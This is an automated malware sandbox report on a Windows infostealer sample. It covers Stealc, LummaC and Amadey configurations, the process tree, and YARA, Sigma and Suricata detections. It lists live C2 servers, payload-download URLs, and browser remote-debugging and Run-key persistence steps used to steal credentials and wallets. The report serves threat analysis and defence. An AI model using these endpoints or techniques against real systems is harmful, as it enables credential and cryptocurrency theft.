Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1557073
MD5:	a088750a78a264d0204488fe6bec85d6
SHA1:	d7cc85364e6481188de1912ee35692f09a126f44
SHA256:	d165a92f40ed9c2ec60c492ab46e9632e740d1af310215a6b464f82dd8418e21
Tags:	exeStealcuser-Bitsight
Infos:

Detection

PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Detected PureCrypter Trojan

Drops PE files to the document folder of the user

Drops PE files to the user root directory

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for sample

Maps a DLL or memory area into another process

Monitors registry run keys for changes

PE file contains section with special chars

Potentially malicious time measurement code found

Sigma detected: New RUN Key Pointing to Suspicious Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to dynamically determine API calls

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Drops PE files to the user directory

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found dropped PE file which has not been started or loaded

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Sigma detected: Browser Started with Remote Debugging

Sigma detected: CurrentVersion Autorun Keys Modification

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 6264 cmdline: "C:\Users\user\Desktop\file.exe" MD5: A088750A78A264D0204488FE6BEC85D6)

chrome.exe (PID: 612 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 7248 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2544 --field-trial-handle=2500,i,7014837265192263060,397092384164020080,262144 /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

msedge.exe (PID: 7968 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default" MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 5920 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2120 --field-trial-handle=2112,i,9263266438792223972,21661427563449255,262144 /prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB)

cmd.exe (PID: 8904 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsHDGCGHIJKE.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 8848 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

DocumentsHDGCGHIJKE.exe (PID: 8900 cmdline: "C:\Users\user\DocumentsHDGCGHIJKE.exe" MD5: 0491B56FD0D65497898F82CA52A7F2C8)

skotes.exe (PID: 2012 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 0491B56FD0D65497898F82CA52A7F2C8)

msedge.exe (PID: 5756 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory=Default --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 7660 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2888 --field-trial-handle=2540,i,17531233779814619991,10718495923325241967,262144 /prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 8444 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6812 --field-trial-handle=2540,i,17531233779814619991,10718495923325241967,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 8452 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7124 --field-trial-handle=2540,i,17531233779814619991,10718495923325241967,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

identity_helper.exe (PID: 8688 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7560 --field-trial-handle=2540,i,17531233779814619991,10718495923325241967,262144 /prefetch:8 MD5: F8CEC3E43A6305AC9BA3700131594306)

identity_helper.exe (PID: 8724 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7560 --field-trial-handle=2540,i,17531233779814619991,10718495923325241967,262144 /prefetch:8 MD5: F8CEC3E43A6305AC9BA3700131594306)

msedge.exe (PID: 528 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=6800 --field-trial-handle=2540,i,17531233779814619991,10718495923325241967,262144 /prefetch:8 MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 3756 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7524 --field-trial-handle=2540,i,17531233779814619991,10718495923325241967,262144 /prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB)

skotes.exe (PID: 1592 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 0491B56FD0D65497898F82CA52A7F2C8)

skotes.exe (PID: 8220 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 0491B56FD0D65497898F82CA52A7F2C8)

029a46b374.exe (PID: 8652 cmdline: "C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe" MD5: C3384CBCFD7F594F40FE489F5F67A36F)

43f0b859c6.exe (PID: 8500 cmdline: "C:\Users\user\AppData\Local\Temp\1006864001\43f0b859c6.exe" MD5: A088750A78A264D0204488FE6BEC85D6)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
PureCrypter	According to zscaler, PureCrypter is a fully-featured loader being sold since at least March 2021The malware has been observed distributing a variety of remote access trojans and information stealersThe loader is a .NET executable obfuscated with SmartAssembly and makes use of compression, encryption and obfuscation to evade antivirus software productsPureCrypter features provide persistence, injection and defense mechanisms that are configurable in Googles Protocol Buffer message format	No Attribution	https://any.run/cybersecurity-blog/pure-malware-family-analysis/ https://blog.netlab.360.com/purecrypter-is-busy-pumping-out-various-malicious-malware-families/ https://blog.sekoia.io/mallox-ransomware-affiliate-leverages-purecrypter-in-microsoft-sql-exploitation-campaigns/ https://www.prodaft.com/m/reports/RIG___TLP_CLEAR-1.pdf https://www.zscaler.com/blogs/security-research/technical-analysis-purecrypter	https://malpedia.caad.fkie.fraunhofer.de/details/win.purecrypter

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}

Threatname: LummaC

{"C2 url": ["3xp3cts1aim.sbs", "peepburry828.sbs", "p10tgrace.sbs", "processhol.sbs", "p3ar11fter.sbs"], "Build id": "LOGS11--LiveTraffic"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
0000001B.00000003.3463145469.00000000008E7000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001B.00000002.3470889263.00000000008E8000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001B.00000003.3463494156.00000000008EA000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001B.00000003.3469262980.00000000008E9000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001B.00000003.3448504377.00000000008ED000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000002.2638559950.0000000000181000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000016.00000002.2654223393.0000000000521000.00000040.00000001.01000000.0000000B.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001C.00000002.3474702465.00000000014EE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000018.00000002.2704054577.00000000007D1000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000001.00000002.2639827168.000000000168E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001B.00000003.3469317199.00000000008ED000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001A.00000002.3470381127.00000000007D1000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000001B.00000003.3448976301.00000000008ED000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000002.2638559950.000000000024C000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001C.00000003.3461107805.00000000050F0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001C.00000002.3470376278.0000000000721000.00000040.00000001.01000000.00000010.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000001B.00000003.3448392980.00000000008FF000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000001B.00000003.3463567960.00000000008ED000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000017.00000002.2685148205.00000000007D1000.00000040.00000001.01000000.0000000E.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000001.00000003.2218283308.0000000005210000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 6264	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: file.exe PID: 6264	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 6264	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 6264	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: 029a46b374.exe PID: 8652	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 029a46b374.exe PID: 8652	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 43f0b859c6.exe PID: 8500	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 43f0b859c6.exe PID: 8500	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Click to see the 23 entries

Unpacked PEs

Source	Rule	Description	Author
26.2.skotes.exe.7d0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
22.2.DocumentsHDGCGHIJKE.exe.520000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
23.2.skotes.exe.7d0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
24.2.skotes.exe.7d0000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 8220, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\029a46b374.exe

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\Desktop\file.exe", ParentImage: C:\Users\user\Desktop\file.exe, ParentProcessId: 6264, ParentProcessName: file.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default", ProcessId: 612, ProcessName: chrome.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\1006863001\029a46b374.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 8220, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\029a46b374.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-17T10:07:07.126242+0100	2028371	3	Unknown Traffic	192.168.2.6	50135	188.114.96.3	443	TCP
2024-11-17T10:09:14.003258+0100	2028371	3	Unknown Traffic	192.168.2.6	50123	188.114.96.3	443	TCP
2024-11-17T10:09:15.464248+0100	2028371	3	Unknown Traffic	192.168.2.6	50126	188.114.96.3	443	TCP
2024-11-17T10:09:17.238082+0100	2028371	3	Unknown Traffic	192.168.2.6	50127	188.114.96.3	443	TCP
2024-11-17T10:09:19.167998+0100	2028371	3	Unknown Traffic	192.168.2.6	50129	188.114.96.3	443	TCP
2024-11-17T10:09:28.204964+0100	2028371	3	Unknown Traffic	192.168.2.6	50134	188.114.96.3	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-17T10:09:14.772503+0100	2054653	1	A Network Trojan was detected	192.168.2.6	50123	188.114.96.3	443	TCP
2024-11-17T10:09:16.322002+0100	2054653	1	A Network Trojan was detected	192.168.2.6	50126	188.114.96.3	443	TCP
2024-11-17T10:09:28.723126+0100	2054653	1	A Network Trojan was detected	192.168.2.6	50134	188.114.96.3	443	TCP
2024-11-17T10:09:30.021462+0100	2054653	1	A Network Trojan was detected	192.168.2.6	50135	188.114.96.3	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-17T10:09:14.772503+0100	2049836	1	A Network Trojan was detected	192.168.2.6	50123	188.114.96.3	443	TCP
2024-11-17T10:09:28.723126+0100	2049836	1	A Network Trojan was detected	192.168.2.6	50134	188.114.96.3	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-17T10:09:16.322002+0100	2049812	1	A Network Trojan was detected	192.168.2.6	50126	188.114.96.3	443	TCP
2024-11-17T10:09:30.021462+0100	2049812	1	A Network Trojan was detected	192.168.2.6	50135	188.114.96.3	443	TCP

ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-17T10:09:14.432801+0100	2044696	1	A Network Trojan was detected	192.168.2.6	50124	185.215.113.43	80	TCP

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-17T10:07:17.104583+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.6	49726	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-17T10:07:16.974501+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.6	49726	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-17T10:07:17.377938+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.6	49726	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-17T10:07:18.469685+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.6	49726	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-17T10:07:17.384898+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.6	49726	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-17T10:09:17.920246+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.6	50127	188.114.96.3	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-17T10:07:16.528521+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	49726	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-17T10:09:06.383391+0100	2856147	1	A Network Trojan was detected	192.168.2.6	50120	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-17T10:09:13.529410+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.6	50121	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-17T10:09:09.737609+0100	2803305	3	Unknown Traffic	192.168.2.6	50122	185.215.113.16	80	TCP
2024-11-17T10:09:15.344994+0100	2803305	3	Unknown Traffic	192.168.2.6	50125	185.215.113.16	80	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-17T10:07:19.003962+0100	2803304	3	Unknown Traffic	192.168.2.6	49726	185.215.113.206	80	TCP
2024-11-17T10:07:39.515512+0100	2803304	3	Unknown Traffic	192.168.2.6	49892	185.215.113.206	80	TCP
2024-11-17T10:07:40.624598+0100	2803304	3	Unknown Traffic	192.168.2.6	49892	185.215.113.206	80	TCP
2024-11-17T10:07:41.368785+0100	2803304	3	Unknown Traffic	192.168.2.6	49892	185.215.113.206	80	TCP
2024-11-17T10:07:41.843035+0100	2803304	3	Unknown Traffic	192.168.2.6	49892	185.215.113.206	80	TCP
2024-11-17T10:07:42.945407+0100	2803304	3	Unknown Traffic	192.168.2.6	49892	185.215.113.206	80	TCP
2024-11-17T10:07:43.475414+0100	2803304	3	Unknown Traffic	192.168.2.6	49892	185.215.113.206	80	TCP
2024-11-17T10:07:47.649653+0100	2803304	3	Unknown Traffic	192.168.2.6	50017	185.215.113.16	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.206/c4becf79229cb002.php~y	Avira URL Cloud: Label: malware
Source: https://cook-rain.sbs/apiVK	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/nss3.dllv	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/luma/random.exe61395dd	Avira URL Cloud: Label: phishing
Source: http://185.215.113.206/68b591d6548ec281/mozglue.dllj	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/msvcp140.dllR	Avira URL Cloud: Label: malware
Source: https://cook-rain.sbs:443/apiontent-Encodingtext/html;	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/vcruntime140.dllO	Avira URL Cloud: Label: malware
Source: https://cook-rain.sbs/apiA=	Avira URL Cloud: Label: malware
Source: https://cook-rain.sbs/G	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.php.y	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/steam/random.exex	Avira URL Cloud: Label: phishing
Source: http://185.215.113.16/mine/random.exeX	Avira URL Cloud: Label: phishing
Source: https://cook-rain.sbs/0	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/68b591d6548ec281/sqlite3.dllx	Avira URL Cloud: Label: malware
Source: http://185.215.113.16/luma/random.exec61395d7	Avira URL Cloud: Label: phishing
Source: https://cook-rain.sbs/W	Avira URL Cloud: Label: malware
Source: http://185.215.113.206/c4becf79229cb002.phpfy	Avira URL Cloud: Label: malware

Found malware configuration

Source: 00000016.00000002.2654223393.0000000000521000.00000040.00000001.01000000.0000000B.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: file.exe.6264.1.memstrmin	Malware Configuration Extractor: StealC {"C2 url": "185.215.113.206/c4becf79229cb002.php", "Botnet": "mars"}
Source: 029a46b374.exe.8652.27.memstrmin	Malware Configuration Extractor: LummaC {"C2 url": ["3xp3cts1aim.sbs", "peepburry828.sbs", "p10tgrace.sbs", "processhol.sbs", "p3ar11fter.sbs"], "Build id": "LOGS11--LiveTraffic"}

Multi AV Scanner detection for domain / URL

Source: http://185.215.113.16/luma/random.exe61395dd

Virustotal: Detection: 17%

Perma Link

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\random[1].exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\RCIIZOAM\random[1].exe	ReversingLabs: Detection: 34%
